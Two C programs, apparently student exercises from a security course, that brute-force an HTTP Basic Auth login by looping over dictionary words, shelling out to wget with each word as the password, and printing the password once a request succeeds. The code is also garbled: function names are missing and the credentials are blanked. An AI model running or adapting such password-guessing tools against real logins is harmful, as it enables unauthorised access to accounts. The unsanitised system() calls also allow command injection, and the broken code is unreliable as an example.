

#include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>
#include<string.h>
int ()
{
char a[100];
int count=0;
char ch;
char line[100];
char filename[50];
char *token;
const char delimiter[]=" \n.,;:!-";
FILE *fp;
int  total_time,start_time,end_time;
start_time = time();
strcpy(filename,"/usr/share/lib/dict/words");
if((fp=fopen(filename,"r"))==NULL){
printf("cannot open file\n");
exit(1);
}
while((fgets(line,sizeof(line),fp))!=NULL)
{
        token=strtok(line,delimiter); 
        while(token!=NULL)
                {
            count++;
	    printf("ATTEMPT : %d\n",count);
strcpy(a,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php --http-user= --http-passwd=");
                strcat(a,token);                
                printf("The request %s\n",a); 
                if(system(a)==0)
		{
		printf("Congratulations!!!Password obtained using DICTIONARY ATTACK\n");
		printf("************************************************************\n");
		printf("Your password is %s\n",token);
		printf("The Request sent is %s \n",a);
                end_time = time();
                total_time = (end_time -start_time);
                total_time /= 1000000000.0;
                printf("The Time Taken is : %llds\n",total_time);
		exit(1);
		}

              
                token=strtok(NULL,delimiter);
                
                 }
}


fclose(fp);
return 0;
}

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<ctype.h>
#include<time.h>

int ()
{

 int m,n,o,i;
 time_t u1,u2;
 char v[3];
 char temp1[100];
 char temp2[100];
 char temp3[250];
 FILE *fin1;
 
 char point[25];
  fin1=fopen("./words.txt","r");
  
  if(fin1==NULL)
  {
   printf(" open the file ");
   exit(0);
  } 
  

 strcpy(temp2," --http-user= --http-passwd=");
 strcpy(temp1,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php");
 
   strcpy(temp3,"");
   
   (void) time(&u1); 
   
   while(!feof(fin1))  
   {
    
    fgets(point,25,fin1);
    if(strlen(point)<=4)
    {
   
    
    strcpy(temp3,temp1);
    strcat(temp3,temp2);
     strcat(temp3,point);
    printf("\nSending the  %s\n",temp3);
    i=system(temp3);  
   	
	if(i==0)
   	{
	 (void) time(&u2); 
	 printf("\n The password is %s\n",point);
	 printf("\n\nThe time_var taken  crack the passwork is  %d  second\n\n",(int)(u2-u1));
     	 exit(0);
   	} 
	else
	{
	strcpy(temp3,"");
	}
   
   
    }
  }
   
  
}  
